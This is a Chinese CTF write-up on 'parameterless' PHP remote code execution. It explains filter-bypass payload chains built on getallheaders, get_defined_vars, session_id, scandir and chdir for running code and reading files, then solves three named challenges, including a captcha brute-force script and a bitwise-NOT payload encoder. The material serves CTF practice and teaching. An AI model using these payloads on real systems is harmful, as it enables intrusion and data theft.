6.24ctf+无参数rce

无参数rce

什么是无参数?

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

一般代码是长这么样的

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
eval($_GET['exp']);
}
?>
//或者 preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

(?R)? 是一个递归的子模式。它表示在括号内可以包含另一个完整的模式,从而允许嵌套的函数调用。也就是说,如果在括号内存在类似 func(a(b)) 的形式,它会继续递归匹配。

^ 符号表示取反操作。\w 表示表示匹配任何非字母、非数字和非下划线字符。,而 [^...] 表示匹配除了括号内字符之外的任何字符。因此,[^\W] 实际上是匹配除了字母、数字和下划线之外的字符。

(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。

ps:感觉这种题纯拷打代码量了

使用的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() //current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
ord()返回字符串中第一个字符的Ascii值
crypt()返回使用 DES、Blowfish 或 MD5 算法加密的字符串
hebrevc() 函数是一个用于反转希伯来文(Hebrew)文本的函数。在希伯来文中,文字是从右往左书写的,而大部分其他语言都是从左往右书写。所以,为了在处理希伯来文文本时显示正确的字符顺序,需要使用 hebrevc 函数来将文本进行反转。

常见命令执行rce

  1. getallheaders()&apache_request_headers()
    在这里插入图片描述

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。

在这里插入图片描述

implode()能够直接将getallheaders()返回的数组转化为字符串。

本地测试代码:

1
2
3
<?php
echo implode(getallheaders());
?>

image-20230624224459225

可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。

创一个本地文件测试一下

1
2
3
4
<?php
highlight_file(__FILE__);
eval($_GET['cmd']);
?>

image-20230624225936528

这里要eval的原因是要把返回的字符串当代码执行了

  1. get_defined_vars()&getenv()

在这里插入图片描述

该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。将get_defined_vars()的结果用var_dump()输出结果如下

1
2
3
<?php
var_dump(get_defined_vars());
?>

在这里插入图片描述

可以看到用GET传入的参数会被显示在数组中的第一位:

不过这里有这么多的数组,我们也不需要全部查看是吧?那么使用current()函数就可以办成这个事情:

函数可以返回数组中的单元且初始指针指向数组的第一个单元。因为GET方式传入的参数存在该二维数组中的第一个一维数组(也就是上图array(7)中的第一个数组[“_GET”]=> array(1) { [“get”]=> string(1) “a” }),所以我们可以通过这个函数将其取出来

1
2
3
<?php
var_dump(cuurent(get_defined_vars()));
?>

从图中能看出后面传入的shell=phpinfo();出现在了第一个数组的最后。

回忆一下之前的payload:?exp=eval(implode(getallheaders()));,设想下:current()是取出二维数组中的第一个(指针指向的那个)一维数组,用end()就可以取出这个一维数组中的最后那个值,加上之前的payload你能想到什么?
新payload:?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
用这个payload的话就可以执行shell的命令了

  1. session_id()

在这里插入图片描述

官方说:session_id()可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)

传不了括号he引号怎么办

解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了

在这里插入图片描述

所以,payload可以为:?exp=eval(hex2bin(session_id()));
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:?exp=eval(hex2bin(session_id(session_start())));
说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在http头中设置PHPSESSID为想要执行代码的16进制:hex(“phpinfo();”)=706870696e666f28293b

读文件rce

查看当前目录文件名

正常的,print_r(scandir(‘.’));可以用来查看当前目录所有文件名

但是要怎么构造参数里这个点呢

  1. localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是”.”(后续出现的.都用双引号包裹,方便识别)

1647485327_6232a18fb8e45a26bbd4d.png!small

怎么提取点呢

1647485335_6232a1972fc186952c3e9.png!small

利用current,current(localeconv()) 就能获取点

print_r(scandir(current(localeconv()))); 就能打印出当前目录下文件:

或者print_r(scandir(pos(localeconv())));

如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

再不行就只有靠运气了

chr(46)就是字符”.”要构造46,有几个方法:

1
2
3
4
5
6
7
8
9
chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."

chr(rand()) (不实际,看运气)

chr(time())
所以使用chr(time()),一个周期必定出现一次"."
数组第一个值每秒+1,所以最多60秒就一定能得到46,用current()就能获得"."

chr(current(localtime(time())))
  1. phpversion()
  • phpversion()返回php版本,如7.3.5
  • floor(phpversion())返回7
  • sqrt(floor(phpversion()))返回2.6457513110646
  • tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
  • cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
  • sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
  • ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
  • chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
  • var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
  • next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));来扫目录

同理:strrev(crypt(serialize(array())))也可以得到”.”,只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符

获取绝对路径可用的有getcwd()和realpath(‘.’)

所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名

读取当前目录文件

通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:

show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)

通过array_reverse() 以相反的元素顺序返回数组

show_source(current(array_reverse(scandir(getcwd()))));

如果是倒数第二个我们可以用:

show_source(next(array_reverse(scandir(getcwd()))));

如果不是数组的最后一个或者倒数第二个呢?

我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组的键名

show_source(array_rand(array_flip(scandir(getcwd()))));

show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录名

dirname() :返回路径中的目录部分,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

  1. dirname()方法
1
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
  1. 构造”..”
1
2
3
4
next(scandir(getcwd()));//我们scandir(getcwd())出现的数组第二个就是"..",所以可以用next()获取
print_r(scandir(next(scandir(getcwd()))));//所以也可查看上级目录文件
结合上文
next(scandir(chr(ord(hebrevc(crypt(time()))))))也是可以得到的

读取上级目录文件

chdir() :改变当前工作目录

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

所以使用chdir()

1
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))//即可改变当前目录为上一层目录并读取文件:

如果不能使用dirname(),可以使用构造”..”的方式切换路径并读取:

但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

1
2
3
4
5
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
或更复杂的:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
还可以用:
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

还有一种构造方法if():(这种更直观些,并且不需要找可接收参数的函数)

1
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

查看和读取根目录文件

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件

同样的:

1
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
1
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

[UUCTF 2022 新生赛]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__0ILE__);
}

题目给了源码,能代码执行eval,但是过滤了很多函数,命令执行函数system,passthru,

可以用其他函数命令执行,比如exec,反引号,其他在命令执行里面过滤了很多东西,一些简单的指令和一些字符 $,*, . ,+,^,

尝试了exec发现不应,应该是被禁用了

那就用反引号,printf(`dir`); 发现成功,最后按照正常方法做就行了

1
printf(`ca''t /fffffffffflagafag`)就行了 这道题可以靠更难点

[GXYCTF2019]禁止套娃

git泄露读出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
?>

这题过滤了et|na|info|dec|bin|hex|oct|pi|log/i,那其实很简单,都可以命令执行了,过滤了getallheaders(),phpinfo(),get_defined_vars(),getenv(),hex2bin(),

getcwd()

已经include flag.php了那就读这个文件,session_id()没过滤,可以命令执行,读文件都可以读

因为session_id,没有被禁但是hex被禁了 正常情况下phpssionid其他特殊字符又只能读取 -和逗号 所以要么用其他函数转化但是这里又相当于过滤5了bindec(),otcdec()

decbin()所以走不通

那就只有读文件了,因为在当前目录所以

exp=print_r(scandir(current(localeconv())));

发现文件在倒数第二个位置

show_source(next(array_reverse(scandir(current(localeconv()))))就行了

极客大挑战 2020 rceme

f12源码给了提示swp泄露了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(!isset($_SESSION['code'])){
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}
if(isset($_POST['cmd']) and isset($_POST['code'])){
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
die('<script>alert(\'Captcha error~\');history.back()</script>');
}
$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('<script>alert(\'Longlone not like you~\');history.back()</script>');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
}
?>

第一个要步就是要绕过

1
substr(md5($_POST['code']),0,5) !== $_SESSION['code']

这个code不知道是多少啊o(╥﹏╥)o找了半天发现在输入命令的下面

通过脚本就能跑过

1
2
3
4
5
6
7
8
import hashlib
a=input()
for i in range(1,200000000):
x=hashlib.md5(str(i).encode(encoding='UTF-8')).hexdigest()
if (x[0:5]==a):
print(x)
print(i)
break

然后第二层

1
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code))

限制了长度,限制了不能输入字母数字和一些特殊字符,想到无字符rce,这里相当

与过滤了自增,异或,但是还有取反,又只有跑脚本了

第三层

需要无参数rce了,o(╥﹏╥)o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("

while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)

最后构造执行命令的方法就行了var_dump(system(end(getallheaders())))

image-20230625231856879

ε=(´ο`*)))唉

用其他的没回显